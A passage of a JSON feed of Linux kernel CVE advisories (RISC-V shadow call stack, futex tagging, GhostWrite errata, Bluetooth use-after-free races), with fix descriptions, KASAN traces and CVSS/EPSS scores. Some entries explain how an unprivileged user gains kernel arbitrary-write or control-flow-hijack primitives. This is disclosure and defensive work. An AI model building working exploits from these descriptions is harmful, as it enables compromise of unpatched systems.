scs_load_current_if_task_changed, which\ncompares the trap-time tp (read back from sscratch into s5) against the\ncurrent tp:\n\n\tbeq\t\\prev, tp, _skip_scs\n\tscs_load_current\n_skip_scs:\n\ntp is a user-writable register.  A user task that sets tp to the\nlinear-map address of its own task_struct (&current) before trapping\nmakes the comparison succeed (can achieve by brute force with KASLR\nenable under our test), so the kernel skips scs_load_current and\nkeeps running with the gp that userspace left in place.  Under\nCONFIG_SHADOW_CALL_STACK gp is the shadow call stack pointer and\nload_global_pointer is a no-op, so the compiler-emitted\n\"sd ra, -8(gp)\" / \"ld ra, -8(gp)\" in every non-leaf function then write\nto, and return through, an attacker-controlled address -- an\nunprivileged kernel arbitrary-write and control-flow-hijack primitive.\nThe poisoned gp is saved to task_struct.scs_sp on return, so the reload\nis skipped on every subsequent entry as well.\n\nDecide \"came from userspace\" from the hardware sstatus.SPP bit (already\nin s1 at this point) instead of from tp, mirroring the check that\nret_from_exception already uses a few instructions later.  SPP is\nwritten by hardware on trap entry and cannot be forged from U-mode.\nLegitimate behaviour is unchanged: user entries (SPP=0) reload the task\nshadow call stack, nested kernel entries (SPP=1) skip it.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:24.650Z","updatedAt":"2026-10-24T14:16:52.920Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-99018","asOf":"2026-10-24T14:16:52.920Z"},"epss":{"probability":0.00175,"percentile":0.0694,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-99018&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-99018","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-99018","type":"primary","publishedAt":"2026-10-23T13:17:24.650Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-99018&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-99018, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-99017","cveId":"CVE-2026-99017","aliases":[],"kind":"vulnerability","title":"Linux kernel: riscv: errata: select RISCV_ALTERNATIVE_EARLY for THEAD GHOSTWRITE","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nriscv: errata: select RISCV_ALTERNATIVE_EARLY for THEAD GHOSTWRITE\n\nerrata_probe_ghostwrite() only marks the CPU as vulnerable when it is\ncalled at the RISCV_ALTERNATIVES_EARLY_BOOT stage, and the mitigation\nin ghostwrite_enable_mitigation() only takes effect if the vulnerable\nstate was recorded before the boot alternatives are patched.\n\nThe early boot stage is only executed when CONFIG_RISCV_ALTERNATIVE_EARLY\nis enabled, which currently is only selected by ERRATA_THEAD_MAE. In a\nkernel built with ERRATA_THEAD_GHOSTWRITE=y but ERRATA_THEAD_MAE=n, the\nearly alternatives never run, so ghostwrite_state is never set to\nVULNERABLE: ghostwrite_enable_mitigation() returns false, xtheadvector\nremains enabled, and sysfs reports \"Not affected\" on a vulnerable\nT-Head C9xx CPU.\n\nSelect RISCV_ALTERNATIVE_EARLY from ERRATA_THEAD_GHOSTWRITE so that the\nvulnerability is detected in the early boot stage and the default\nmitigation is applied.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nriscv: errata: select RISCV_ALTERNATIVE_EARLY for THEAD GHOSTWRITE\n\nerrata_probe_ghostwrite() only marks the CPU as vulnerable when it is\ncalled at the RISCV_ALTERNATIVES_EARLY_BOOT stage, and the mitigation\nin ghostwrite_enable_mitigation() only takes effect if the vulnerable\nstate was recorded before the boot alternatives are patched.\n\nThe early boot stage is only executed when CONFIG_RISCV_ALTERNATIVE_EARLY\nis enabled, which currently is only selected by ERRATA_THEAD_MAE. In a\nkernel built with ERRATA_THEAD_GHOSTWRITE=y but ERRATA_THEAD_MAE=n, the\nearly alternatives never run, so ghostwrite_state is never set to\nVULNERABLE: ghostwrite_enable_mitigation() returns false, xtheadvector\nremains enabled, and sysfs reports \"Not affected\" on a vulnerable\nT-Head C9xx CPU.\n\nSelect RISCV_ALTERNATIVE_EARLY from ERRATA_THEAD_GHOSTWRITE so that the\nvulnerability is detected in the early boot stage and the default\nmitigation is applied.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:24.530Z","updatedAt":"2026-10-24T14:16:52.790Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-99017","asOf":"2026-10-24T14:16:52.790Z"},"epss":{"probability":0.00163,"percentile":0.05465,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-99017&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-99017","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-99017","type":"primary","publishedAt":"2026-10-23T13:17:24.530Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-99017&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-99017, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-99016","cveId":"CVE-2026-99016","aliases":[],"kind":"vulnerability","title":"Linux kernel: riscv: futex: untag the user pointer before the atomic access","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nriscv: futex: untag the user pointer before the atomic access\n\naccess_ok() checks untagged_addr(uaddr), but arch_futex_atomic_op_inuser()\nand futex_atomic_cmpxchg_inatomic() hand the raw uaddr to the inline asm\namoswap/amoadd/.../lr.w+sc.w through the \"+m\" (*uaddr) operand.  When the\ntagged address ABI is enabled (CONFIG_RISCV_ISA_SUPM, prctl\nPR_SET_TAGGED_ADDR_CTRL with PMLEN != 0), those two addresses differ: a\nuser pointer whose top PMLEN bits hold a tag passes access_ok() after\nuntagging, but the atomic is then performed on the still-tagged raw\naddress.\n\nSupervisor-mode data accesses are not subject to the U-mode pointer\nmasking (that is governed by menvcfg.PMM, which the kernel does not set),\nso hardware does not strip the tag for the kernel's own access.  With\nSv57 and PMLEN=16 the tag bits overlap the canonical-address bits, so a\ntagged pointer can name a canonical kernel virtual address (e.g. in the\nlinear map) whose untagged form is a valid user address.  An unprivileged\nprocess can thus make FUTEX_WAKE_OP perform an atomic read-modify-write on\nan arbitrary kernel address, with the matching FUTEX_OP_CMP_* result\nserving as a read oracle.\n\nget_user()/put_user()/raw_copy_{to,from}_user() already untag the pointer\nafter the access_ok() check; do the same in the futex helpers so the\natomic operates on the address that was actually validated.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nriscv: futex: untag the user pointer before the atomic access\n\naccess_ok() checks untagged_addr(uaddr), but arch_futex_atomic_op_inuser()\nand futex_atomic_cmpxchg_inatomic() hand the raw uaddr to the inline asm\namoswap/amoadd/.../lr.w+sc.w through the \"+m\" (*uaddr) operand.  When the\ntagged address ABI is enabled (CONFIG_RISCV_ISA_SUPM, prctl\nPR_SET_TAGGED_ADDR_CTRL with PMLEN != 0), those two addresses differ: a\nuser pointer whose top PMLEN bits hold a tag passes access_ok() after\nuntagging, but the atomic is then performed on the still-tagged raw\naddress.\n\nSupervisor-mode data accesses are not subject to the U-mode pointer\nmasking (that is governed by menvcfg.PMM, which the kernel does not set),\nso hardware does not strip the tag for the kernel's own access.  With\nSv57 and PMLEN=16 the tag bits overlap the canonical-address bits, so a\ntagged pointer can name a canonical kernel virtual address (e.g. in the\nlinear map) whose untagged form is a valid user address.  An unprivileged\nprocess can thus make FUTEX_WAKE_OP perform an atomic read-modify-write on\nan arbitrary kernel address, with the matching FUTEX_OP_CMP_* result\nserving as a read oracle.\n\nget_user()/put_user()/raw_copy_{to,from}_user() already untag the pointer\nafter the access_ok() check; do the same in the futex helpers so the\natomic operates on the address that was actually validated.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:24.413Z","updatedAt":"2026-10-24T14:16:52.657Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-99016","asOf":"2026-10-24T14:16:52.657Z"},"epss":{"probability":0.00173,"percentile":0.06695,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-99016&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-99016","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-99016","type":"primary","publishedAt":"2026-10-23T13:17:24.413Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-99016&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-99016, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-99014","cveId":"CVE-2026-99014","aliases":[],"kind":"vulnerability","title":"Linux kernel: Bluetooth: hci_sync: Fix command skb lifetime during scan setup","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: hci_sync: Fix command skb lifetime during scan setup\n\nDuring PA sync scan setup, hci_le_set_ext_scan_param_sync() gets the\naddress used for the PA_LINK lookup from hci_sent_cmd_data(). The\nreturned pointer borrows storage from sent_cmd or req_skb, without\nholding a reference to either skb.\n\nThe scan worker runs on req_workqueue while hci_cmd_work() runs on the\nseparate device workqueue. After the scan worker loads sent_cmd, the\ncommand worker can free and replace it before hci_sent_cmd_data()\ndereferences the skb. The command payload can also be freed between\nreturning from the helper and comparing the address. The connection\nlookup's RCU critical section does not protect the command skb.\n\nKASAN reported:\n\n  BUG: KASAN: slab-use-after-free in hci_sent_cmd_data+0x27c/0x2f0\n  Workqueue: hci0 hci_cmd_sync_work\n  Call Trace:\n   hci_sent_cmd_data+0x27c/0x2f0\n   hci_le_set_scan_param_sync+0x43a/0x850\n   hci_passive_scan_sync+0xb09/0x1460\n   hci_update_passive_scan_sync+0x47c/0x6e0\n   hci_le_pa_create_sync+0x200/0xa70\n   hci_cmd_sync_work+0x13c/0x290\n\n  Allocated by task 95:\n   skb_clone+0x13f/0x340\n   hci_cmd_work+0x2a9/0x7e0\n\n  Freed by task 95:\n   kmem_cache_free+0xba/0x3a0\n   hci_cmd_work+0x29c/0x7e0\n\nUse hdev->lock to serialize the address snapshot with sent_cmd\nreplacement. Protect req_skb replacement and completion cleanup with\nthe same lock because the helper falls back to that skb. Copy the\naddress before releasing the lock and use the copy for the existing\nRCU-protected connection lookup. Release the mutex before sending or\nwaiting for commands, preserving the lookup and completion ordering.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: hci_sync: Fix command skb lifetime during scan setup\n\nDuring PA sync scan setup, hci_le_set_ext_scan_param_sync() gets the\naddress used for the PA_LINK lookup from hci_sent_cmd_data(). The\nreturned pointer borrows storage from sent_cmd or req_skb, without\nholding a reference to either skb.\n\nThe scan worker runs on req_workqueue while hci_cmd_work() runs on the\nseparate device workqueue. After the scan worker loads sent_cmd, the\ncommand worker can free and replace it before hci_sent_cmd_data()\ndereferences the skb. The command payload can also be freed between\nreturning from the helper and comparing the address. The connection\nlookup's RCU critical section does not protect the command skb.\n\nKASAN reported:\n\n  BUG: KASAN: slab-use-after-free in hci_sent_cmd_data+0x27c/0x2f0\n  Workqueue: hci0 hci_cmd_sync_work\n  Call Trace:\n   hci_sent_cmd_data+0x27c/0x2f0\n   hci_le_set_scan_param_sync+0x43a/0x850\n   hci_passive_scan_sync+0xb09/0x1460\n   hci_update_passive_scan_sync+0x47c/0x6e0\n   hci_le_pa_create_sync+0x200/0xa70\n   hci_cmd_sync_work+0x13c/0x290\n\n  Allocated by task 95:\n   skb_clone+0x13f/0x340\n   hci_cmd_work+0x2a9/0x7e0\n\n  Freed by task 95:\n   kmem_cache_free+0xba/0x3a0\n   hci_cmd_work+0x29c/0x7e0\n\nUse hdev->lock to serialize the address snapshot with sent_cmd\nreplacement. Protect req_skb replacement and completion cleanup with\nthe same lock because the helper falls back to that skb. Copy the\naddress before releasing the lock and use the copy for the existing\nRCU-protected connection lookup. Release the mutex before sending or\nwaiting for commands, preserving the lookup and completion ordering.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:24.137Z","updatedAt":"2026-10-24T14:16:52.500Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-99014","asOf":"2026-10-24T14:16:52.500Z"},"epss":{"probability":0.00159,"percentile":0.04976,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-99014&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-99014","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-99014","type":"primary","publishedAt":"2026-10-23T13:17:24.137Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-99014&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-99014, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-99013","cveId":"CVE-2026-99013","aliases":[],"kind":"vulnerability","title":"Linux kernel: Bluetooth: ISO: Reject concurrent BIS listener setup","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: ISO: Reject concurrent BIS listener setup\n\niso_sock_listen() drops the socket lock before calling iso_listen_bis()\nto preserve the hdev->lock ordering. Two concurrent listen() calls on\nthe same broadcast socket can therefore both observe BT_BOUND. Caller\nA can attach connA and release the locks, then caller B can acquire\nthem and attach connB before A publishes BT_LISTEN.\n\n__iso_chan_add() checks whether connB already has a socket, but not\nwhether the socket already has a connection. The second attachment\noverwrites iso_pi(sk)->conn, leaking the connA reference and leaving\nconnA->sk intact. Socket teardown follows connB, so later events on\nconnA can cause a stale socket access.\n\nRecheck BT_BOUND and require iso_pi(sk)->conn to be NULL after taking\nboth the HCI device and socket locks in iso_listen_bis(). The connection\ncheck also covers the interval between attachment and publication of\nBT_LISTEN. Reject a competing setup with -EBADFD through the existing\nunlock path before allocating another connection.\n\nA recorded KASAN report from an instrumented kernel shows:\n\n  BUG: KASAN: slab-use-after-free in iso_sock_hold+0x119/0x1f0\n  Call Trace:\n   iso_sock_hold+0x119/0x1f0\n   iso_conn_del+0xe4/0x270\n   hci_disconn_complete_evt+0x351/0x8c0\n   hci_event_packet+0x71b/0xb20\n   hci_rx_work+0x293/0x730\n\n  Allocated by task 93:\n   sk_prot_alloc+0x113/0x220\n   sk_alloc+0x2b/0x6d0\n   bt_sock_alloc+0x29/0x370\n   iso_sock_alloc.constprop.0+0x19/0x300\n   iso_sock_create+0x94/0x100\n\n  Freed by task 93:\n   kfree+0x121/0x3c0\n   __sk_destruct+0x42b/0x540\n   iso_sock_release+0x29d/0x340\n   __sock_release+0xa1/0x260\n   sock_close+0x10/0x20","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: ISO: Reject concurrent BIS listener setup\n\niso_sock_listen() drops the socket lock before calling iso_listen_bis()\nto preserve the hdev->lock ordering. Two concurrent listen() calls on\nthe same broadcast socket can therefore both observe BT_BOUND. Caller\nA can attach connA and release the locks, then caller B can acquire\nthem and attach connB before A publishes BT_LISTEN.\n\n__iso_chan_add() checks whether connB already has a socket, but not\nwhether the socket already has a connection. The second attachment\noverwrites iso_pi(sk)->conn, leaking the connA reference and leaving\nconnA->sk intact. Socket teardown follows connB, so later events on\nconnA can cause a stale socket access.\n\nRecheck BT_BOUND and require iso_pi(sk)->conn to be NULL after taking\nboth the HCI device and socket locks in iso_listen_bis(). The connection\ncheck also covers the interval between attachment and publication of\nBT_LISTEN. Reject a competing setup with -EBADFD through the existing\nunlock path before allocating another connection.\n\nA recorded KASAN report from an instrumented kernel shows:\n\n  BUG: KASAN: slab-use-after-free in iso_sock_hold+0x119/0x1f0\n  Call Trace:\n   iso_sock_hold+0x119/0x1f0\n   iso_conn_del+0xe4/0x270\n   hci_disconn_complete_evt+0x351/0x8c0\n   hci_event_packet+0x71b/0xb20\n   hci_rx_work+0x293/0x730\n\n  Allocated by task 93:\n   sk_prot_alloc+0x113/0x220\n   sk_alloc+0x2b/0x6d0\n   bt_sock_alloc+0x29/0x370\n   iso_sock_alloc.constprop.0+0x19/0x300\n   iso_sock_create+0x94/0x100\n\n  Freed by task 93:\n   kfree+0x121/0x3c0\n   __sk_destruct+0x42b/0x540\n   iso_sock_release+0x29d/0x340\n   __sock_release+0xa1/0x260\n   sock_close+0x10/0x20\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:24.013Z","updatedAt":"2026-10-24T14:16:52.360Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-99013","asOf":"2026-10-24T14:16:52.360Z"},"epss":{"probability":0.00159,"percentile":0.04958,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-99013&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-99013","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-99013","type":"primary","publishedAt":"2026-10-23T13:17:24.013Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-99013&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-99013, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-99012","cveId":"CVE-2026-99012","aliases":[],"kind":"vulnerability","title":"Linux kernel: Bluetooth: ISO: Serialize concurrent connect calls","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: ISO: Serialize concurrent connect calls\n\niso_sock_connect() checks the socket state before taking the socket lock\nand drops the lock again before setting up a connection. Two callers can\nboth pass the admission check while the socket is open or bound.\n\nCaller A can copy its destination for route selection, then caller B can\nreplace the socket destination before A binds or connects the CIS. A\nthen uses B's destination with the route selected for its own request.\nB can also proceed after A attaches a connection and sets BT_CONNECT.\nFor deferred BIS setup, B can bind a second BIS and overwrite\niso_pi(sk)->conn, leaving the first connection's reference and conn->sk\nback-pointer stranded. Concurrent CIS connects can likewise replace the\nsocket's connection. Later teardown only detaches the current connection,\nso a callback on the old connection can race with socket release and\naccess a freed socket.\n\nKASAN reported:\n\n  BUG: KASAN: slab-use-after-free in iso_sock_hold+0xf7/0x1b0\n  Call Trace:\n   iso_sock_hold+0xf7/0x1b0\n   iso_conn_del+0x7b/0x1d0\n   iso_connect_cfm+0x186/0x16a0\n   hci_conn_failed+0x154/0x280\n   hci_abort_conn_sync+0x3dc/0x7d0\n   hci_cmd_sync_work+0x173/0x300\n\n  Allocated by task 121:\n   sk_alloc+0x2b/0x6d0\n   bt_sock_alloc+0x29/0x370\n   iso_sock_alloc.constprop.0+0x19/0x300\n   iso_sock_create+0x94/0x100\n\n  Freed by task 121:\n   kfree+0x121/0x3c0\n   __sk_destruct+0x42b/0x540\n   iso_sock_release+0x29d/0x340\n   __sock_release+0xa1/0x260\n\nCheck admission under the socket lock and mark the connect operation in\nprogress before publishing its destination. Keep that flag set across\nroute lookup and connection setup, rejecting another connect with\n-EBADFD before it can change the destination or attach a connection.\nClear the flag after either helper returns, including on failure, so a\nfailed setup can be retried.\n\nA separate flag is needed because the socket lock must be released before\nacquiring the HCI device lock, while BT_CONNECT requires an attached\nconnection. Keep the existing state transitions and the deferred CIS\ncompletion through iso_sock_recvmsg().\n\nReject an existing s","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: ISO: Serialize concurrent connect calls\n\niso_sock_connect() checks the socket state before taking the socket lock\nand drops the lock again before setting up a connection. Two callers can\nboth pass the admission check while the socket is open or bound.\n\nCaller A can copy its destination for route selection, then caller B can\nreplace the socket destination before A binds or connects the CIS. A\nthen uses B's destination with the route selected for its own request.\nB can also proceed after A attaches a connection and sets BT_CONNECT.\nFor deferred BIS setup, B can bind a second BIS and overwrite\niso_pi(sk)->conn, leaving the first connection's reference and conn->sk\nback-pointer stranded. Concurrent CIS connects can likewise replace the\nsocket's connection. Later teardown only detaches the current connection,\nso a callback on the old connection can race with socket release and\naccess a freed socket.\n\nKASAN reported:\n\n  BUG: KASAN: slab-use-after-free in iso_sock_hold+0xf7/0x1b0\n  Call Trace:\n   iso_sock_hold+0xf7/0x1b0\n   iso_conn_del+0x7b/0x1d0\n   iso_connect_cfm+0x186/0x16a0\n   hci_conn_failed+0x154/0x280\n   hci_abort_conn_sync+0x3dc/0x7d0\n   hci_cmd_sync_work+0x173/0x300\n\n  Allocated by task 121:\n   sk_alloc+0x2b/0x6d0\n   bt_sock_alloc+0x29/0x370\n   iso_sock_alloc.constprop.0+0x19/0x300\n   iso_sock_create+0x94/0x100\n\n  Freed by task 121:\n   kfree+0x121/0x3c0\n   __sk_destruct+0x42b/0x540\n   iso_sock_release+0x29d/0x340\n   __sock_release+0xa1/0x260\n\nCheck admission under the socket lock and mark the connect operation in\nprogress before publishing its destination. Keep that flag set across\nroute lookup and connection setup, rejecting another connect with\n-EBADFD before it can change the destination or attach a connection.\nClear the flag after either helper returns, including on failure, so a\nfailed setup can be retried.\n\nA separate flag is needed because the socket lock must be released before\nacquiring the HCI device lock, while BT_CONNECT requires an attached\nconnection. Keep the existing state transitions and the deferred CIS\ncompletion through iso_sock_recvmsg().\n\nReject an existing socket attachment in __iso_chan_add() before taking\na new reference or publishing either pointer, so every caller preserves\nthe connection association. Keep the same-socket, same-connection success\ncase for deferred CIS setup. Reject an attached socket before BIS setup\nso a reusable BIS is not claimed before the attachment is rejected.\n\nIn CIS setup, reject a different HCI connection before iso_conn_add()\nand drop the per-attempt HCI hold directly. An unowned iso_conn may still\ncarry another reference after detachment, so its destruction cannot be\nrelied on to release that hold.\n\niso_listen_bis() creates a fresh PA HCI/ISO pair under the device lock,\nso the temporary iso_conn_put() frees the ISO candidate and drops its\nHCI hold on rejection. iso_conn_ready() uses a freshly allocated,\nunpublished child with no connection, making the socket-side rejection\nunreachable.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:23.867Z","updatedAt":"2026-10-24T14:16:52.190Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-99012","asOf":"2026-10-24T14:16:52.190Z"},"epss":{"probability":0.00159,"percentile":0.04976,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-99012&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-99012","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-99012","type":"primary","publishedAt":"2026-10-23T13:17:23.867Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-99012&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-99012, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-99011","cveId":"CVE-2026-99011","aliases":[],"kind":"vulnerability","title":"Linux kernel: Bluetooth: SCO: serialise sco_conn lifetime against sco_recv_scodata()","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: SCO: serialise sco_conn lifetime against sco_recv_scodata()\n\nsco_recv_scodata() upgrades the weak hcon->sco_data back-pointer to a\nstrong reference under hdev->lock:\n\n    hci_dev_lock(hdev);\n    hcon = hci_conn_hash_lookup_handle(hdev, handle);\n    ...\n    conn = sco_conn_hold_unless_zero(hcon->sco_data);\n    hci_dev_unlock(hdev);\n\nbut the pointer is cleared from the other side without that lock. When\nthe last sco_conn reference is dropped, sco_conn_free() ran\n\n    